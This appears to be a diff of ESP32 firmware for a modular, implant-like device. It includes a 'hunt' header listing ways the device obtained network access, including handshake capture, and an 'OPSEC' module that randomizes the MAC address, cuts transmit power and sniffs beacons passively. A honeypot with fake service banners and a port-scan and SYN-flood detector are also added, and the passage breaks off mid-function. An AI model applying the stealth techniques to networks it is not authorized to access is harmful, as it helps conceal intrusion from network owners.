fb_state_t fb_hunt_get_state(void);
/* Get state name as string. */
const char *fb_hunt_state_name(fb_state_t state);
/* Is the hunt task currently running? */
bool fb_hunt_is_active(void);
/* Get the SSID we connected to (empty if none). */
const char *fb_hunt_connected_ssid(void);
/* Get the method used to connect (e.g. "known", "open", "handshake", "gprs"). */
const char *fb_hunt_connected_method(void);
/* Init mutex and event group (call from register_commands). */
void fb_hunt_init(void);
/* Skip GPRS strategy in hunt (set by gprs_client_task to avoid loop). */
void fb_hunt_set_skip_gprs(bool skip);
#ifdef __cplusplus
}
#endif

View File

@ -0,0 +1,253 @@
/*
* fb_stealth.c
* OPSEC: MAC randomization, TX power control, passive scan.
*/
#include "sdkconfig.h"
#include "fb_stealth.h"
#ifdef CONFIG_MODULE_FALLBACK
#include <string.h>
#include "esp_log.h"
#include "esp_wifi.h"
#include "esp_random.h"
#include "freertos/FreeRTOS.h"
#include "freertos/task.h"
static const char *TAG = "FB_STEALTH";
/* ============================================================
* MAC randomization
* ============================================================ */
static uint8_t s_orig_mac[6] = {0};
static bool s_mac_saved = false;
void fb_stealth_save_original_mac(void)
{
if (esp_wifi_get_mac(WIFI_IF_STA, s_orig_mac) == ESP_OK) {
s_mac_saved = true;
ESP_LOGI(TAG, "Original MAC: %02X:%02X:%02X:%02X:%02X:%02X",
s_orig_mac[0], s_orig_mac[1], s_orig_mac[2],
s_orig_mac[3], s_orig_mac[4], s_orig_mac[5]);
}
}
void fb_stealth_randomize_mac(void)
{
uint8_t mac[6];
esp_fill_random(mac, 6);
mac[0] &= 0xFE; /* unicast */
mac[0] |= 0x02; /* locally administered */
esp_wifi_disconnect();
vTaskDelay(pdMS_TO_TICKS(50));
esp_err_t err = esp_wifi_set_mac(WIFI_IF_STA, mac);
if (err == ESP_OK) {
ESP_LOGI(TAG, "MAC randomized: %02X:%02X:%02X:%02X:%02X:%02X",
mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);
} else {
ESP_LOGW(TAG, "MAC set failed: %s", esp_err_to_name(err));
}
}
void fb_stealth_restore_mac(void)
{
if (s_mac_saved) {
esp_wifi_disconnect();
vTaskDelay(pdMS_TO_TICKS(50));
esp_wifi_set_mac(WIFI_IF_STA, s_orig_mac);
ESP_LOGI(TAG, "MAC restored: %02X:%02X:%02X:%02X:%02X:%02X",
s_orig_mac[0], s_orig_mac[1], s_orig_mac[2],
s_orig_mac[3], s_orig_mac[4], s_orig_mac[5]);
}
}
void fb_stealth_get_current_mac(uint8_t mac[6])
{
esp_wifi_get_mac(WIFI_IF_STA, mac);
}
/* ============================================================
* TX power control
* ============================================================ */
void fb_stealth_low_tx_power(void)
{
esp_err_t err = esp_wifi_set_max_tx_power(32); /* 8 dBm */
if (err == ESP_OK) {
ESP_LOGI(TAG, "TX power reduced to 8 dBm");
} else {
ESP_LOGW(TAG, "TX power set failed: %s", esp_err_to_name(err));
}
}
void fb_stealth_restore_tx_power(void)
{
esp_wifi_set_max_tx_power(80); /* 20 dBm */
ESP_LOGI(TAG, "TX power restored to 20 dBm");
}
/* ============================================================
* Passive scan promiscuous mode beacon capture
* ============================================================ */
typedef struct {
unsigned frame_ctrl:16;
unsigned duration_id:16;
uint8_t addr1[6];
uint8_t addr2[6];
uint8_t addr3[6];
unsigned seq_ctrl:16;
} __attribute__((packed)) wifi_mgmt_hdr_t;
#define BEACON_FIXED_LEN 12
static fb_scan_ap_t s_scan_results[FB_MAX_SCAN_APS];
static volatile int s_scan_count = 0;
static int find_bssid(const uint8_t bssid[6])
{
for (int i = 0; i < s_scan_count; i++) {
if (memcmp(s_scan_results[i].bssid, bssid, 6) == 0)
return i;
}
return -1;
}
static void passive_scan_cb(void *buf, wifi_promiscuous_pkt_type_t type)
{
if (type != WIFI_PKT_MGMT) return;
wifi_promiscuous_pkt_t *pkt = (wifi_promiscuous_pkt_t *)buf;
wifi_mgmt_hdr_t *hdr = (wifi_mgmt_hdr_t *)pkt->payload;
uint16_t fc = hdr->frame_ctrl;
uint8_t subtype = (fc >> 4) & 0x0F;
if (subtype != 8 && subtype != 5) return; /* beacon or probe_resp */
const uint8_t *bssid = hdr->addr3;
int idx = find_bssid(bssid);
if (idx >= 0) {
if (pkt->rx_ctrl.rssi > s_scan_results[idx].rssi) {
s_scan_results[idx].rssi = pkt->rx_ctrl.rssi;
}
return;
}
if (s_scan_count >= FB_MAX_SCAN_APS) return;
size_t hdr_len = sizeof(wifi_mgmt_hdr_t);
size_t body_offset = hdr_len + BEACON_FIXED_LEN;
if ((int)pkt->rx_ctrl.sig_len < (int)(body_offset + 2))
return;
const uint8_t *body = pkt->payload + body_offset;
size_t body_len = pkt->rx_ctrl.sig_len - body_offset;
if (body_len > 4) body_len -= 4;
fb_scan_ap_t *ap = &s_scan_results[s_scan_count];
memset(ap, 0, sizeof(*ap));
memcpy(ap->bssid, bssid, 6);
ap->rssi = pkt->rx_ctrl.rssi;
ap->channel = pkt->rx_ctrl.channel;
ap->auth_mode = 0;
size_t pos = 0;
while (pos + 2 <= body_len) {
uint8_t tag_id = body[pos];
uint8_t tag_len = body[pos + 1];
if (pos + 2 + tag_len > body_len) break;
if (tag_id == 0) {
size_t ssid_len = tag_len;
if (ssid_len > 32) ssid_len = 32;
memcpy(ap->ssid, body + pos + 2, ssid_len);
ap->ssid[ssid_len] = '\0';
} else if (tag_id == 48) {
ap->auth_mode = 3;
} else if (tag_id == 221) {
if (tag_len >= 4 &&
body[pos + 2] == 0x00 && body[pos + 3] == 0x50 &&
body[pos + 4] == 0xF2 && body[pos + 5] == 0x01) {
if (ap->auth_mode == 0) ap->auth_mode = 2;
}
}
pos += 2 + tag_len;
}
s_scan_count++;
}
int fb_stealth_passive_scan(int duration_ms)
{
s_scan_count = 0;
memset(s_scan_results, 0, sizeof(s_scan_results));
esp_wifi_disconnect();
vTaskDelay(pdMS_TO_TICKS(100));
esp_err_t ret = esp_wifi_set_promiscuous_rx_cb(passive_scan_cb);
if (ret != ESP_OK) {
ESP_LOGE(TAG, "Promiscuous CB failed: %s", esp_err_to_name(ret));
return 0;
}
wifi_promiscuous_filter_t filter = {
.filter_mask = WIFI_PROMIS_FILTER_MASK_MGMT
};
esp_wifi_set_promiscuous_filter(&filter);
ret = esp_wifi_set_promiscuous(true);
if (ret != ESP_OK) {
ESP_LOGE(TAG, "Promiscuous enable failed: %s", esp_err_to_name(ret));
return 0;
}
ESP_LOGI(TAG, "Passive scan started (%d ms)", duration_ms);
int channels = 13;
int hop_ms = 200;
int elapsed = 0;
while (elapsed < duration_ms) {
for (int ch = 1; ch <= channels && elapsed < duration_ms; ch++) {
esp_wifi_set_channel(ch, WIFI_SECOND_CHAN_NONE);
vTaskDelay(pdMS_TO_TICKS(hop_ms));
elapsed += hop_ms;
}
}
esp_wifi_set_promiscuous(false);
ESP_LOGI(TAG, "Passive scan done: %d unique APs", s_scan_count);
return s_scan_count;
}
int fb_stealth_get_scan_results(fb_scan_ap_t *out, int max_count)
{
int count = s_scan_count;
if (count > max_count) count = max_count;
memcpy(out, s_scan_results, count * sizeof(fb_scan_ap_t));
return count;
}
#else /* !CONFIG_MODULE_FALLBACK — empty stubs */
#include <string.h>
void fb_stealth_save_original_mac(void) {}
void fb_stealth_randomize_mac(void) {}
void fb_stealth_restore_mac(void) {}
void fb_stealth_get_current_mac(uint8_t mac[6]) { memset(mac, 0, 6); }
void fb_stealth_low_tx_power(void) {}
void fb_stealth_restore_tx_power(void) {}
int fb_stealth_passive_scan(int duration_ms) { (void)duration_ms; return 0; }
int fb_stealth_get_scan_results(fb_scan_ap_t *out, int max_count) { (void)out; (void)max_count; return 0; }
#endif /* CONFIG_MODULE_FALLBACK */

View File

@ -0,0 +1,37 @@
/*
* fb_stealth.h
* OPSEC: MAC randomization, TX power control, passive scanning.
*/
#pragma once
#include <stdbool.h>
#include <stdint.h>
#ifdef __cplusplus
extern "C" {
#endif
void fb_stealth_save_original_mac(void);
void fb_stealth_randomize_mac(void);
void fb_stealth_restore_mac(void);
void fb_stealth_get_current_mac(uint8_t mac[6]);
void fb_stealth_low_tx_power(void);
void fb_stealth_restore_tx_power(void);
int fb_stealth_passive_scan(int duration_ms);
typedef struct {
uint8_t bssid[6];
char ssid[33];
int8_t rssi;
uint8_t channel;
uint8_t auth_mode; /* 0=open, 1=WEP, 2=WPA, 3=WPA2, ... */
} fb_scan_ap_t;
#define FB_MAX_SCAN_APS 32
int fb_stealth_get_scan_results(fb_scan_ap_t *out, int max_count);
#ifdef __cplusplus
}
#endif

View File

@ -0,0 +1,6 @@
idf_component_register(
SRCS cmd_honeypot.c hp_config.c hp_tcp_services.c hp_wifi_monitor.c hp_net_monitor.c
services/svc_ssh.c services/svc_telnet.c services/svc_http.c services/svc_ftp.c
INCLUDE_DIRS . services
REQUIRES core nvs_flash lwip esp_wifi freertos
)

View File

@ -0,0 +1,308 @@
/*
* cmd_honeypot.c
* Honeypot command registration and dispatch.
* Compiled as empty when CONFIG_MODULE_HONEYPOT is not set.
*
* Commands (8 total, fits within 32-command budget):
* hp_svc <service> <start|stop|status>
* hp_wifi <start|stop|status>
* hp_net <start|stop|status>
* hp_config_set <type> <key> <value>
* hp_config_get <type> <key>
* hp_config_list [type]
* hp_config_reset
* hp_status
*/
#include "sdkconfig.h"
#ifdef CONFIG_MODULE_HONEYPOT
#include <stdio.h>
#include <string.h>
#include "esp_log.h"
#include "utils.h"
#include "hp_config.h"
#include "hp_tcp_services.h"
#include "hp_wifi_monitor.h"
#include "hp_net_monitor.h"
#define TAG "HONEYPOT"
/* ============================================================
* COMMAND: hp_svc <service> <start|stop|status>
* ============================================================ */
static esp_err_t cmd_hp_svc(
int argc, char **argv, const char *req, void *ctx)
{
(void)ctx;
const char *svc_name = argv[0];
const char *action = argv[1];
int id = hp_svc_name_to_id(svc_name);
if (id < 0) {
char buf[64];
snprintf(buf, sizeof(buf), "error=unknown_service service=%s", svc_name);
msg_error(TAG, buf, req);
return ESP_ERR_INVALID_ARG;
}
if (strcmp(action, "start") == 0) {
hp_svc_start((hp_svc_id_t)id);
char buf[64];
snprintf(buf, sizeof(buf), "service=%s action=started", svc_name);
msg_info(TAG, buf, req);
} else if (strcmp(action, "stop") == 0) {
hp_svc_stop((hp_svc_id_t)id);
char buf[64];
snprintf(buf, sizeof(buf), "service=%s action=stopped", svc_name);
msg_info(TAG, buf, req);
} else if (strcmp(action, "status") == 0) {
char buf[256];
hp_svc_status((hp_svc_id_t)id, buf, sizeof(buf));
msg_info(TAG, buf, req);
} else {
msg_error(TAG, "error=invalid_action expected=start|stop|status", req);
return ESP_ERR_INVALID_ARG;
}
return ESP_OK;
}
/* ============================================================
* COMMAND: hp_wifi <start|stop|status>
* ============================================================ */
static esp_err_t cmd_hp_wifi(
int argc, char **argv, const char *req, void *ctx)
{
(void)ctx;
const char *action = argv[0];
if (strcmp(action, "start") == 0) {
hp_wifi_monitor_start();
msg_info(TAG, "wifi_monitor=started", req);
} else if (strcmp(action, "stop") == 0) {
hp_wifi_monitor_stop();
msg_info(TAG, "wifi_monitor=stopped", req);
} else if (strcmp(action, "status") == 0) {
char buf[256];
hp_wifi_monitor_status(buf, sizeof(buf));
msg_info(TAG, buf, req);
} else {
msg_error(TAG, "error=invalid_action expected=start|stop|status", req);
return ESP_ERR_INVALID_ARG;
}
return ESP_OK;
}
/* ============================================================
* COMMAND: hp_net <start|stop|status>
* ============================================================ */
static esp_err_t cmd_hp_net(
int argc, char **argv, const char *req, void *ctx)
{
(void)ctx;
const char *action = argv[0];
if (strcmp(action, "start") == 0) {
hp_net_monitor_start();
msg_info(TAG, "net_monitor=started", req);
} else if (strcmp(action, "stop") == 0) {
hp_net_monitor_stop();
msg_info(TAG, "net_monitor=stopped", req);
} else if (strcmp(action, "status") == 0) {
char buf[256];
hp_net_monitor_status(buf, sizeof(buf));
msg_info(TAG, buf, req);
} else {
msg_error(TAG, "error=invalid_action expected=start|stop|status", req);
return ESP_ERR_INVALID_ARG;
}
return ESP_OK;
}
/* ============================================================
* COMMAND: hp_config_set <type> <key> <value>
* ============================================================ */
static esp_err_t cmd_hp_config_set(
int argc, char **argv, const char *req, void *ctx)
{
(void)ctx;
const char *type = argv[0];
const char *key = argv[1];
const char *value = argv[2];
esp_err_t err;
if (strcmp(type, "banner") == 0) {
err = hp_config_set_banner(key, value);
} else if (strcmp(type, "threshold") == 0) {
err = hp_config_set_threshold(key, atoi(value));
} else {
msg_error(TAG, "error=invalid_config_type expected=banner|threshold", req);
return ESP_ERR_INVALID_ARG;
}
if (err == ESP_OK) {
char buf[128];
snprintf(buf, sizeof(buf), "config_set=%s.%s value=%s", type, key, value);
msg_info(TAG, buf, req);
} else {
msg_error(TAG, "error=config_set_failed", req);
}
return err;
}
/* ============================================================
* COMMAND: hp_config_get <type> <key>
* ============================================================ */
static esp_err_t cmd_hp_config_get(
int argc, char **argv, const char *req, void *ctx)
{
(void)ctx;
const char *type = argv[0];
const char *key = argv[1];
char buf[256];
if (strcmp(type, "banner") == 0) {
char val[128];
hp_config_get_banner(key, val, sizeof(val));
/* Strip newlines for display */
for (char *p = val; *p; p++) {
if (*p == '\r' || *p == '\n') { *p = '\0'; break; }
}
snprintf(buf, sizeof(buf), "banner_%s=%s", key, val);
} else if (strcmp(type, "threshold") == 0) {
int val = hp_config_get_threshold(key);
snprintf(buf, sizeof(buf), "threshold_%s=%d", key, val);
} else {
msg_error(TAG, "error=invalid_config_type expected=banner|threshold", req);
return ESP_ERR_INVALID_ARG;
}
msg_info(TAG, buf, req);
return ESP_OK;
}
/* ============================================================
* COMMAND: hp_config_list [type]
* ============================================================ */
static esp_err_t cmd_hp_config_list(
int argc, char **argv, const char *req, void *ctx)
{
(void)ctx;
const char *filter = (argc > 0) ? argv[0] : "";
char buf[512];
hp_config_list(filter, buf, sizeof(buf));
msg_info(TAG, buf, req);
return ESP_OK;
}
/* ============================================================
* COMMAND: hp_config_reset
* ============================================================ */
static esp_err_t cmd_hp_config_reset(
int argc, char **argv, const char *req, void *ctx)
{
(void)argc; (void)argv; (void)ctx;
esp_err_t err = hp_config_reset_all();
if (err == ESP_OK)
msg_info(TAG, "config=reset_to_defaults", req);
else
msg_error(TAG, "error=config_reset_failed", req);
return err;
}
/* ============================================================
* COMMAND: hp_status
* ============================================================ */
static esp_err_t cmd_hp_status(
int argc, char **argv, const char *req, void *ctx)
{
(void)argc; (void)argv; (void)ctx;
char buf[512];
int off = 0;
/* Services */
for (int i = 0; i < HP_SVC_COUNT; i++) {
off += snprintf(buf + off, sizeof(buf) - off, "%s=%s ",
hp_svc_id_to_name((hp_svc_id_t)i),
hp_svc_running((hp_svc_id_t)i) ? "up" : "down");
}
/* Monitors */
off += snprintf(buf + off, sizeof(buf) - off, "wifi_mon=%s net_mon=%s",
hp_wifi_monitor_running() ? "up" : "down",
hp_net_monitor_running() ? "up" : "down");
msg_info(TAG, buf, req);
return ESP_OK;
}
/* ============================================================
* COMMAND: hp_start_all start all services + monitors
* ============================================================ */
static esp_err_t cmd_hp_start_all(
int argc, char **argv, const char *req, void *ctx)
{
(void)argc; (void)argv; (void)ctx;
for (int i = 0; i < HP_SVC_COUNT; i++)
hp_svc_start((hp_svc_id_t)i);
hp_wifi_monitor_start();
hp_net_monitor_start();
msg_info(TAG, "all=started", req);
return ESP_OK;
}
/* ============================================================
* COMMAND: hp_stop_all stop all services + monitors
* ============================================================ */
static esp_err_t cmd_hp_stop_all(
int argc, char **argv, const char *req, void *ctx)
{
(void)argc; (void)argv; (void)ctx;
for (int i = 0; i < HP_SVC_COUNT; i++)
hp_svc_stop((hp_svc_id_t)i);
hp_wifi_monitor_stop();
hp_net_monitor_stop();
msg_info(TAG, "all=stopped", req);
return ESP_OK;
}
/* ============================================================
* COMMAND REGISTRATION
* ============================================================ */
static const command_t hp_cmds[] = {
{ "hp_svc", NULL, "Service control", 2, 2, cmd_hp_svc, NULL, false },
{ "hp_wifi", NULL, "WiFi monitor", 1, 1, cmd_hp_wifi, NULL, false },
{ "hp_net", NULL, "Network monitor", 1, 1, cmd_hp_net, NULL, false },
{ "hp_config_set", NULL, "Set config", 3, 3, cmd_hp_config_set, NULL, false },
{ "hp_config_get", NULL, "Get config", 2, 2, cmd_hp_config_get, NULL, false },
{ "hp_config_list", NULL, "List config", 0, 1, cmd_hp_config_list, NULL, false },
{ "hp_config_reset", NULL, "Reset config", 0, 0, cmd_hp_config_reset, NULL, false },
{ "hp_status", NULL, "Honeypot status", 0, 0, cmd_hp_status, NULL, false },
{ "hp_start_all", NULL, "Start all services", 0, 0, cmd_hp_start_all, NULL, false },
{ "hp_stop_all", NULL, "Stop all services", 0, 0, cmd_hp_stop_all, NULL, false },
};
void mod_honeypot_register_commands(void)
{
ESPILON_LOGI_PURPLE(TAG, "Registering honeypot commands");
hp_config_init();
for (size_t i = 0; i < sizeof(hp_cmds) / sizeof(hp_cmds[0]); i++) {
command_register(&hp_cmds[i]);
}
}
#endif /* CONFIG_MODULE_HONEYPOT */

View File

@ -0,0 +1,8 @@
/*
* cmd_honeypot.h
* Honeypot module public API.
* Compiled as empty when CONFIG_MODULE_HONEYPOT is not set.
*/
#pragma once
void mod_honeypot_register_commands(void);

View File

@ -0,0 +1,204 @@
/*
* hp_config.c
* NVS-backed runtime configuration for honeypot services.
*/
#include "sdkconfig.h"
#ifdef CONFIG_MODULE_HONEYPOT
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include "esp_log.h"
#include "nvs_flash.h"
#include "nvs.h"
#include "hp_config.h"
#define TAG "HP_CFG"
#define NVS_NS "hp_cfg"
/* ============================================================
* Default banners
* ============================================================ */
static const struct {
const char *service;
const char *banner;
} default_banners[] = {
{ "ssh", "SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.6\r\n" },
{ "telnet", "\r\nUbuntu 22.04.3 LTS\r\nlogin: " },
{ "ftp", "220 ProFTPD 1.3.5e Server (Debian)\r\n" },
{ "http", "HTTP/1.1 200 OK\r\nServer: Apache/2.4.54 (Ubuntu)\r\n" },
};
#define NUM_BANNERS (sizeof(default_banners) / sizeof(default_banners[0]))
/* ============================================================
* Default thresholds
* ============================================================ */
static const struct {
const char *key;
int value;
} default_thresholds[] = {
{ "portscan", 5 },
{ "synflood", 50 },
{ "icmp", 10 },
{ "udpflood", 100 },
{ "arpflood", 50 },
{ "tarpit_ms", 2000 },
};
#define NUM_THRESHOLDS (sizeof(default_thresholds) / sizeof(default_thresholds[0]))
/* ============================================================
* Init
* ============================================================ */
void hp_config_init(void)
{
ESP_LOGI(TAG, "Config subsystem ready (NVS ns=%s)", NVS_NS);
}
/* ============================================================
* Banner helpers
* ============================================================ */
static const char *_default_banner(const char *service)
{
for (size_t i = 0; i < NUM_BANNERS; i++) {
if (strcmp(default_banners[i].service, service) == 0)
return default_banners[i].banner;
}
return "";
}
esp_err_t hp_config_get_banner(const char *service, char *out, size_t out_len)
{
nvs_handle_t h;
esp_err_t err = nvs_open(NVS_NS, NVS_READONLY, &h);
if (err == ESP_OK) {
char key[16];
snprintf(key, sizeof(key), "b_%s", service);
size_t len = out_len;
err = nvs_get_str(h, key, out, &len);
nvs_close(h);
if (err == ESP_OK)
return ESP_OK;
}
/* Fall back to compile-time default */
const char *def = _default_banner(service);
snprintf(out, out_len, "%s", def);
return ESP_OK;
}
esp_err_t hp_config_set_banner(const char *service, const char *value)
{
nvs_handle_t h;
esp_err_t err = nvs_open(NVS_NS, NVS_READWRITE, &h);
if (err != ESP_OK) return err;
char key[16];
snprintf(key, sizeof(key), "b_%s", service);
err = nvs_set_str(h, key, value);
if (err == ESP_OK) err = nvs_commit(h);
nvs_close(h);
return err;
}
/* ============================================================
* Threshold helpers
* ============================================================ */
static int _default_threshold(const char *key)
{
for (size_t i = 0; i < NUM_THRESHOLDS; i++) {
if (strcmp(default_thresholds[i].key, key) == 0)
return default_thresholds[i].value;
}
return 0;
}
int hp_config_get_threshold(const char *key)
{
nvs_handle_t h;
esp_err_t err = nvs_open(NVS_NS, NVS_READONLY, &h);
if (err == ESP_OK) {
char nkey[16];
snprintf(nkey, sizeof(nkey), "t_%s", key);
int32_t val = 0;
err = nvs_get_i32(h, nkey, &val);
nvs_close(h);
if (err == ESP_OK)
return (int)val;
}
return _default_threshold(key);
}
esp_err_t hp_config_set_threshold(const char *key, int value)
{
/* Clamp to sane range */
if (value < 1) value = 1;
if (value > 10000) value = 10000;
nvs_handle_t h;
esp_err_t err = nvs_open(NVS_NS, NVS_READWRITE, &h);
if (err != ESP_OK) return err;
char nkey[16];
snprintf(nkey, sizeof(nkey), "t_%s", key);
err = nvs_set_i32(h, nkey, (int32_t)value);
if (err == ESP_OK) err = nvs_commit(h);
nvs_close(h);
return err;
}
/* ============================================================
* Reset
* ============================================================ */
esp_err_t hp_config_reset_all(void)
{
nvs_handle_t h;
esp_err_t err = nvs_open(NVS_NS, NVS_READWRITE, &h);
if (err != ESP_OK) return err;
err = nvs_erase_all(h);
if (err == ESP_OK) err = nvs_commit(h);
nvs_close(h);
ESP_LOGI(TAG, "Config reset to defaults");
return err;
}
/* ============================================================
* List
* ============================================================ */
int hp_config_list(const char *type_filter, char *buf, size_t buf_len)
{
int off = 0;
bool show_banners = (!type_filter || !type_filter[0] ||
strcmp(type_filter, "banner") == 0);
bool show_thresholds = (!type_filter || !type_filter[0] ||
strcmp(type_filter, "threshold") == 0);
if (show_banners) {
for (size_t i = 0; i < NUM_BANNERS; i++) {
char val[128];
hp_config_get_banner(default_banners[i].service, val, sizeof(val));
/* Truncate for display (strip \r\n) */
char *p = val;
while (*p && *p != '\r' && *p != '\n') p++;
*p = '\0';
off += snprintf(buf + off, buf_len - off,
"banner_%s=%s ", default_banners[i].service, val);
}
}
if (show_thresholds) {
for (size_t i = 0; i < NUM_THRESHOLDS; i++) {
int val = hp_config_get_threshold(default_thresholds[i].key);
off += snprintf(buf + off, buf_len - off,
"threshold_%s=%d ", default_thresholds[i].key, val);
}
}
return off;
}
#endif /* CONFIG_MODULE_HONEYPOT */

View File

@ -0,0 +1,29 @@
/*
* hp_config.h
* NVS-backed runtime configuration for honeypot services.
*
* Two config types:
* "banner" per-service banner strings (ssh, telnet, ftp, http)
* "threshold" detection thresholds (portscan, synflood, icmp, udpflood, arpflood, tarpit_ms)
*/
#pragma once
#include "esp_err.h"
#include <stdint.h>
/* Initialise NVS namespace (call once at registration time) */
void hp_config_init(void);
/* banner get/set — returns ESP_OK or ESP_ERR_* */
esp_err_t hp_config_get_banner(const char *service, char *out, size_t out_len);
esp_err_t hp_config_set_banner(const char *service, const char *value);
/* threshold get/set */
int hp_config_get_threshold(const char *key);
esp_err_t hp_config_set_threshold(const char *key, int value);
/* Reset all config to compile-time defaults */
esp_err_t hp_config_reset_all(void);
/* List all config as key=value pairs into buf (for status responses) */
int hp_config_list(const char *type_filter, char *buf, size_t buf_len);

View File

@ -0,0 +1,331 @@
/*
* hp_net_monitor.c
* Network anomaly detector: port scan, SYN flood.
*
* Uses a raw TCP socket (LWIP) to inspect incoming SYN packets.
* Maintains a per-IP tracking table (max 32 entries) with sliding
* window counters. Sends HP| events when thresholds are exceeded.
*
* Note: ARP monitoring requires LWIP netif hooks (layer 2) and is
* not possible via raw sockets. May be added via etharp callback later.
*/
#include "sdkconfig.h"
#ifdef CONFIG_MODULE_HONEYPOT
#include <stdio.h>
#include <string.h>
#include <stdatomic.h>
#include "esp_log.h"
#include "freertos/FreeRTOS.h"
#include "freertos/task.h"
#include "freertos/semphr.h"
#include "lwip/sockets.h"
#include "utils.h"
#include "event_format.h"
#include "hp_config.h"
#include "hp_net_monitor.h"
#define TAG "HP_NET"
#define NET_MON_STACK 4096
#define NET_MON_PRIO 4
#define NET_MON_CORE 1
/* Tracking table */
#define MAX_TRACKED_IPS 32
#define WINDOW_SEC 10 /* Sliding window for detections */
/* ============================================================
* IP tracker entry
* ============================================================ */
typedef struct {
uint32_t ip; /* Network byte order */
uint32_t first_seen; /* Tick count (ms) */
uint32_t last_seen;
uint16_t unique_ports[32]; /* Ring buffer of destination ports */
uint8_t port_idx;
uint8_t port_count;
uint32_t syn_count; /* SYN packets in window */
bool portscan_alerted;
bool synflood_alerted;
} ip_tracker_t;
/* ============================================================
* State
* ============================================================ */
static atomic_bool net_running = false;
static atomic_bool net_stop_req = false;
static TaskHandle_t net_task = NULL;
static SemaphoreHandle_t tracker_mutex = NULL;
static ip_tracker_t trackers[MAX_TRACKED_IPS];
static int tracker_count = 0;
static uint32_t total_port_scans = 0;
static uint32_t total_syn_floods = 0;
/* ============================================================
* Tracker helpers
* ============================================================ */
static uint32_t now_ms(void)
{
return (uint32_t)(xTaskGetTickCount() * portTICK_PERIOD_MS);
}
static void ip_to_str(uint32_t ip_nbo, char *buf, size_t len)
{
uint8_t *b = (uint8_t *)&ip_nbo;
snprintf(buf, len, "%d.%d.%d.%d", b[0], b[1], b[2], b[3]);
}
static ip_tracker_t *find_or_create_tracker(uint32_t ip)
{
uint32_t now = now_ms();
/* Search existing */
for (int i = 0; i < tracker_count; i++) {
if (trackers[i].ip == ip)
return &trackers[i];
}
/* Evict oldest if full */
if (tracker_count >= MAX_TRACKED_IPS) {
int oldest_idx = 0;
uint32_t oldest_time = trackers[0].last_seen;
for (int i = 1; i < tracker_count; i++) {
if (trackers[i].last_seen < oldest_time) {
oldest_time = trackers[i].last_seen;
oldest_idx = i;
}
}
if (oldest_idx < tracker_count - 1)
trackers[oldest_idx] = trackers[tracker_count - 1];
tracker_count--;
}
ip_tracker_t *t = &trackers[tracker_count++];
memset(t, 0, sizeof(*t));
t->ip = ip;
t->first_seen = now;
t->last_seen = now;
return t;
}
static void expire_trackers(void)
{
uint32_t now = now_ms();
uint32_t window = WINDOW_SEC * 1000;
for (int i = 0; i < tracker_count; ) {
if ((now - trackers[i].last_seen) > window * 3) {
if (i < tracker_count - 1)
trackers[i] = trackers[tracker_count - 1];
tracker_count--;
} else {
if ((now - trackers[i].first_seen) > window) {
trackers[i].syn_count = 0;
trackers[i].port_count = 0;
trackers[i].port_idx = 0;
trackers[i].first_seen = now;
trackers[i].portscan_alerted = false;
trackers[i].synflood_alerted = false;
}
i++;
}
}
}
static bool port_already_seen(ip_tracker_t *t, uint16_t port)
{
for (int i = 0; i < t->port_count && i < 32; i++) {
if (t->unique_ports[i] == port)
return true;
}
return false;
}
/* ============================================================
* Event recording
* ============================================================ */
static void record_syn(uint32_t src_ip, uint16_t dst_port)
{
if (!tracker_mutex ||
xSemaphoreTake(tracker_mutex, pdMS_TO_TICKS(50)) != pdTRUE)
return;
ip_tracker_t *t = find_or_create_tracker(src_ip);
t->last_seen = now_ms();
t->syn_count++;
/* Track unique ports for portscan detection */
if (!port_already_seen(t, dst_port)) {
t->unique_ports[t->port_idx % 32] = dst_port;
t->port_idx++;
t->port_count++;
}
/* Snapshot values before releasing mutex */
uint8_t port_count = t->port_count;
uint32_t syn_count = t->syn_count;
bool ps_alerted = t->portscan_alerted;
bool sf_alerted = t->synflood_alerted;
int ps_thresh = hp_config_get_threshold("portscan");
if (port_count >= (uint8_t)ps_thresh && !ps_alerted) {
t->portscan_alerted = true;
total_port_scans++;
}
int sf_thresh = hp_config_get_threshold("synflood");
if (syn_count >= (uint32_t)sf_thresh && !sf_alerted) {
t->synflood_alerted = true;
total_syn_floods++;
}
xSemaphoreGive(tracker_mutex);
/* Send events outside mutex to avoid blocking */
if (port_count >= (uint8_t)ps_thresh && !ps_alerted) {
char ip_str[16];
ip_to_str(src_ip, ip_str, sizeof(ip_str));
char detail[64];
snprintf(detail, sizeof(detail), "unique_ports=%d window=%ds",
port_count, WINDOW_SEC);
event_send("PORT_SCAN", "HIGH", "00:00:00:00:00:00",
ip_str, 0, 0, detail, NULL);
}
if (syn_count >= (uint32_t)sf_thresh && !sf_alerted) {
char ip_str[16];
ip_to_str(src_ip, ip_str, sizeof(ip_str));
char detail[64];
snprintf(detail, sizeof(detail), "syn_count=%lu window=%ds",
(unsigned long)syn_count, WINDOW_SEC);
event_send("SYN_FLOOD", "CRITICAL", "00:00:00:00:00:00",
ip_str, 0, 0, detail, NULL);
}
}
/* ============================================================
* Raw socket listener task
* ============================================================ */
static void net_monitor_task(void *arg)
{
(void)arg;
int raw_fd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
if (raw_fd < 0) {
ESP_LOGE(TAG, "raw socket failed: %d", errno);
goto done;
}
struct timeval tv = { .tv_sec = 1, .tv_usec = 0 };
setsockopt(raw_fd, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
ESP_LOGI(TAG, "Network monitor started");
net_running = true;
uint8_t pkt_buf[128];
while (!net_stop_req) {
struct sockaddr_in src_addr;
socklen_t addr_len = sizeof(src_addr);
int n = recvfrom(raw_fd, pkt_buf, sizeof(pkt_buf), 0,
(struct sockaddr *)&src_addr, &addr_len);
if (n > 0) {
uint8_t ihl = (pkt_buf[0] & 0x0F) * 4;
if (ihl < 20 || n < ihl + 20)
goto next;
uint8_t *tcp = pkt_buf + ihl;
uint16_t dst_port = (tcp[2] << 8) | tcp[3];
uint8_t flags = tcp[13];
/* SYN set, ACK not set → connection initiation */
if ((flags & 0x02) && !(flags & 0x10)) {
record_syn(src_addr.sin_addr.s_addr, dst_port);
}
}
next:
if (tracker_mutex &&
xSemaphoreTake(tracker_mutex, pdMS_TO_TICKS(50)) == pdTRUE) {
expire_trackers();
xSemaphoreGive(tracker_mutex);
}
}
close(raw_fd);
done:
net_running = false;
net_stop_req = false;
ESP_LOGI(TAG, "Network monitor stopped");
net_task = NULL;
vTaskDelete(NULL);
}
/* ============================================================
* Public API
* ============================================================ */
void hp_net_monitor_start(void)
{
if (net_running || net_task) {
ESP_LOGW(TAG, "Network monitor already running");
return;
}
